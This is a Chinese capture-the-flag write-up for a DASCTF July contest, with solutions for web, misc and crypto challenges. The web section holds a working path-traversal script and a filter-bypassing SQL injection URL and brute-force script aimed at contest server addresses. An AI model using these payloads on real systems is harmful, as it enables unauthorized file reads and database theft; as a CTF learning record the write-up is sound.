DASCTF 安恒七月赛wp

web

Ezfileinclude

首页一张图片，看src就可以看出文件包含
验证了时间戳
尝试用php://filter 读源码读不到，以为只能读.jpg，然后用../路径穿越有waf

最后居然一直../../能读到/etc/passwd，服了出题人，本来以为flag文件后缀会是.php .txt .jpg什么的，没想到就是flag

import time
import requests
import base64

time = time.time()
t = int(time)
url = "http://183.129.189.60:10009/image.php"

filename = b'gqy.jpg../../../../../../../flag'
f = base64.b64encode(filename)
print(f)


payload = {'t':t, 'f':f}
r = requests.get(url, params=payload)
print(r.url)
print(r.text)

后面顺手读了下image.php

<?php

    if(!isset($_GET['t']) || !isset($_GET['f'])){
        echo "you miss some parameters";
        exit();
    }
    
    $timestamp = time();

    if(abs($_GET['t'] - $timestamp) > 10){
        echo "what's your time?";
        exit();
    }

    $file = base64_decode($_GET['f']);
    
    if(substr($file, 0, strlen("/../")) === "/../" || substr($file, 0, strlen("../")) === "../" || substr($file, 0, strlen("./")) === "./" || substr($file, 0, strlen("/.")) === "/." || substr($file, 0, strlen("//")) === "//") {
        echo 'You are not allowed to do that.';
    }
    else{
        echo file_get_contents('/var/www/html/img/'.$file);
    }

?>

无语了，还有这样写waf考路径穿越的吗

SQLi

过滤了关键字

return preg_match("/;|benchmark|^|if|[s]|in|case|when|sleep|auto|desc|stat|||lock|or|and|&|like|-|`/i", $id);

无列名查询+bypass information_schema

这里用sys.x$schema_flattened_keys来绕过information_schema

有回显，不用盲注，直接union select注入就完事了
http://183.129.189.60:10004/?id=100%27/**/union/**/SELECT/**/group_concat(table_name),2,3/**/FROM/**//**/sys.x$schema_flattened_keys/**/WHERE/**/table_schema='sqlidb'/**/GROUP/**/BY/**/table_name/**/limit/**/0,1%23

贴一个别的师傅写的脚本

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com
import requests as req
import time as t
import base64 as b
import string
alpa = string.ascii_letters + string.digits
res = ''
#库名 利用limit注入 sqlidb
# http://183.129.189.60:10004/?id=1%27limit/**/1,1/**/PROCEDURE/**/ANALYSE(1)%23

#表名 flllaaaggg
payload = '''SELECT group_concat(table_name) FROM  sys.x$schema_flattened_keys WHERE table_schema='sqlidb' GROUP BY table_name limit 0,1'''

for i in range(1,100):
	for char in alpa:
		host = '''http://183.129.189.60:10004/?id=1'=(substr(({payload}),{i},1)='{char}')%23'''.format(payload=payload.replace(' ','/**/'), i=i, char=char)

		r = req.get(host)
		if r'admin666' in r.text:
			res += char
			print("found it: "+res)
			break
		t.sleep(0.2)

无列名注入和informatiion_schema接下来再好好研究下

Homebrew Dubbo v2

unsolved

misc

welcome to the misc world

给的一个压缩包
解压后里面一张图片一个有密码的压缩包

用zsteg发现里面有png lsb隐写

提取出来zsteg red_blue.png -e 'b1,r,lsb,xy' > 1.png

看到压缩包密码/*///1258/*/@#
然后解压后面就是ntfs隐写了（对mac不友好）

文件内容
Ao(mgHXo,o0fV'I2J"^%3&**H@q.MQ1,V%$1GCdB0P"X%0RW

用进制编辑器打开hint
后面的字符base64+社会主义核心解码是base85
解出flag

crypto

bullshit

from flag import flag
def pairing(a,b):
    shell = max(a, b)
    step = min(a, b)
    if step == b:
        flag = 0
    else:
        flag = 1
    return shell ** 2 + step * 2 + flag

def encrypt(message):
    res = ''
    for i in range(0,len(message),2):
        res += str(pairing(message[i],message[i+1]))
    return res

print(encrypt(flag))
# 1186910804152291019933541010532411051999082499105051010395199519323297119520312715722

分析下加密脚本，在flag中每次去两个字符作为pairing的ab参数，返回过后拼接成res

明文字符范围应该为_A-Za-z0-9{}，最大ascii值为125

那么pairing的返回值最大为$ 125^2+1252+1 = 15876 $, 最小为$ 48^2+482+0=2400 $

根据此范围可以分割密文

11869,10804,15229,10199,3354,10105,3241,10519,9908,2499,10505,10103,9519,9519,3232,9711,9520,3127,15722

然后写脚本爆破出明文

import string
dic=string.printable[:-6]

def pairing(a,b):
    shell = max(a, b)
    step = min(a, b)
    if step == b:
        flag = 0
    else:
        flag = 1
    return shell ** 2 + step * 2 + flag

c=[11869,10804,15229,10199,3354,10105,3241,10519,9908,2499,10505,10103,9519,9519,3232,9711,9520,3127,15722]
flag=''
for k in c:
	for x in dic:
		for y in dic:
			if pairing(ord(x),ord(y))==k:
				flag+=x+y
print(flag)

flag{2cd494d489f5c112f3da7a7805b7a730}

ezrsa

unsolved
加密脚本

from secret import flag
from Crypto.Util.number import getPrime,inverse,bytes_to_long,long_to_bytes
from sympy import isprime

m = bytes_to_long(flag)

i=0
p=getPrime(1024)
r=getPrime(1024)
while True:
    i+=1
    q = 5*p+i
    if isprime(q):
        break

n=p*q*r
e = 65537
c = pow(m,e,n)
p3 = pow(p,3,n)
q3 = pow(q,3,n)
print c
print e
print n
print p3
print q3

#c=121836624300974075697021410307617877799398704636412997043885070081959280989429720121505939271618801519845564677294487289085261071864489530938936756975266796724602572135614554790383740417604947122325421381322155502222532570899845171858215244411945889235509975121332503672838693190271397334662495169940649349725607212867270114445618201171582223868214171942753939282404133460110489725340075179818856587044172460703519751189284498768640898837525773823127259807337383870535232880471869465188882667401540052151795173003568424369575866780354852158304748299284900468768898966143729562589110027789165774068500360970335261801131264801996703446527156709491597639262305131309592217711956181866054589085773085822482247966030763162382493197473555330201343835684065991963179440335668817727280429581864224497755004825170263803174390985868997862117983334405815543271969716910040927833496696049703621334172902517666284662473059140662717708823
#e=65537
#n=20361372240024088786698455948788052559208001789410016096382703853157107986024860262721685000417719260611935731634077852127432140361792767202581631816544546972750034494061276779878409544779707914261679633764772575040304712361634318086289783951555842021028438799649252652041211341825451500751760872572402250747982495384263677669526575825183733353800694161425360299521143726681387485097281832219009682768523304737252763907939642212542959846630464628135025203489075698699980715986689341069964387779523254203021424865355054215122316160201073604105317768112281914334065349420946717116563634883368316247495042216330408372176714499012778410160478384503335610321108263706243329745785632599707740534386988945259578897614317582546751658480917188464178997026284336861027299289073045677754342746386408505695243800685323283852020325044649604548575089927541935884800327121875191739922436199496098842684301207745090701158839031935190703347091
#p3=3639847731266473012111996909765465259684540134584180368372338570948892196816095838781423020996407457408188225238520927483809091079993151555076781372882518810174687150067903870448436299501557380508793238254471833275507634732947964907461619182112787911133054275872120243558556697900528427679352181961312958660881800731678134481664074711076672290178389996403357076809805422591851145306425951725627843352207233693810474618882394140691334742086008967260117740486955640068190440609984095657695423536016475468229419187489359563800737261212975921663803729112420222039005478830477455592167092520074509241894829304209406713781082959299623674294927249556083486223036858674077173104518013601628447504500606447821540687465361616447631579976579754996021653630804073535352129315413118764836270751250405649683786487251823247828947202336680538849571498780353357272103697510910576879383751704763858882439578045020243015928994208017750848637513
#q3=7030777127779173206633582847346001157991477456002191926122836599155148909465054067800807615361108442560942058865403188672629297039703065927801771646334817871335134889139894648729527452541098449842202838983982508551750669662540615534327150829869964429006130891731472099912937717406120443380283548571270317421722042835639732966975812764084015221255115940508456442279902250677665136380988902682370875602145833135937210740790528756301051981994351553247852018355526641012434670664732924491790949235519600899289515495046353559475806935200029321563549553167235419039924276406059858659476329718809657072997385947262654743181242885709558209249589482036673428723035300722280229192727192487772217518673838209646300548275957450994828221329299666216457961746189885356929698674294944243729739850927111231235060005119781652245234537583181232715964191675241206562888107252569566488402724441835466680342239244581162530424964324562530832713397

参考https://nop-sw.github.io/wiki/wp/DASCTF-%E4%B8%83%E6%9C%88%E8%B5%9B/#ezrsa

p^3可能小于n （n=pqr，q=5*p+i），直接对p3开方发现就可以求出p（可能不是预期解），然后带进循环中即可求出i和q。由p和q3可以爆出n。然后求出r，接着就是简单rsa了。。。（这儿n可能有多个值

from Crypto.Util.number import *
from sympy import isprime
import gmpy2
c=121836624300974075697021410307617877799398704636412997043885070081959280989429720121505939271618801519845564677294487289085261071864489530938936756975266796724602572135614554790383740417604947122325421381322155502222532570899845171858215244411945889235509975121332503672838693190271397334662495169940649349725607212867270114445618201171582223868214171942753939282404133460110489725340075179818856587044172460703519751189284498768640898837525773823127259807337383870535232880471869465188882667401540052151795173003568424369575866780354852158304748299284900468768898966143729562589110027789165774068500360970335261801131264801996703446527156709491597639262305131309592217711956181866054589085773085822482247966030763162382493197473555330201343835684065991963179440335668817727280429581864224497755004825170263803174390985868997862117983334405815543271969716910040927833496696049703621334172902517666284662473059140662717708823
q3=7030777127779173206633582847346001157991477456002191926122836599155148909465054067800807615361108442560942058865403188672629297039703065927801771646334817871335134889139894648729527452541098449842202838983982508551750669662540615534327150829869964429006130891731472099912937717406120443380283548571270317421722042835639732966975812764084015221255115940508456442279902250677665136380988902682370875602145833135937210740790528756301051981994351553247852018355526641012434670664732924491790949235519600899289515495046353559475806935200029321563549553167235419039924276406059858659476329718809657072997385947262654743181242885709558209249589482036673428723035300722280229192727192487772217518673838209646300548275957450994828221329299666216457961746189885356929698674294944243729739850927111231235060005119781652245234537583181232715964191675241206562888107252569566488402724441835466680342239244581162530424964324562530832713397
p3 = 3639847731266473012111996909765465259684540134584180368372338570948892196816095838781423020996407457408188225238520927483809091079993151555076781372882518810174687150067903870448436299501557380508793238254471833275507634732947964907461619182112787911133054275872120243558556697900528427679352181961312958660881800731678134481664074711076672290178389996403357076809805422591851145306425951725627843352207233693810474618882394140691334742086008967260117740486955640068190440609984095657695423536016475468229419187489359563800737261212975921663803729112420222039005478830477455592167092520074509241894829304209406713781082959299623674294927249556083486223036858674077173104518013601628447504500606447821540687465361616447631579976579754996021653630804073535352129315413118764836270751250405649683786487251823247828947202336680538849571498780353357272103697510910576879383751704763858882439578045020243015928994208017750848637513
c1 = 7030777127779173206633582847346001157991477456002191926122836599155148909465054067800807615361108442560942058865403188672629297039703065927801771646334817871335134889139894648729527452541098449842202838983982508551750669662540615534327150829869964429006130891731472099912937717406120443380283548571270317421722042835639732966975812764084015221255115940508456442279902250677665136380988902682370875602145833135937210740790528756301051981994351553247852018355526641012434670664732924491790949235519600899289515495046353559475806935200029321563549553167235419039924276406059858659476329718809657072997385947262654743181242885709558209249589482036673428723035300722280229192727192487772217518673838209646300548275957450994828221329299666216457961746189885356929698674294944243729739850927111231235060005119781652245234537583181232715964191675241206562888107252569566488402724441835466680342239244581162530424964324562530832713397
p,err = gmpy2.iroot(p3,3)

i=0
while True:
    i+=1
    q = 5*p+i
    if isprime(q):
        #print q
        break
e = 65537
for i in range(1,100):
    x = q**3 - q3
    n = x/i
    if x%i==0 and p3 == pow(p,3,n) and q3 == pow(q,3,n):
        t_n = n
        r = (t_n/q)/p
        phi = (p-1)*(q-1)*(r-1)
        d = gmpy2.invert(e,phi)
        text = long_to_bytes(pow(c,d,n))
        if 'flag' in text:
            print text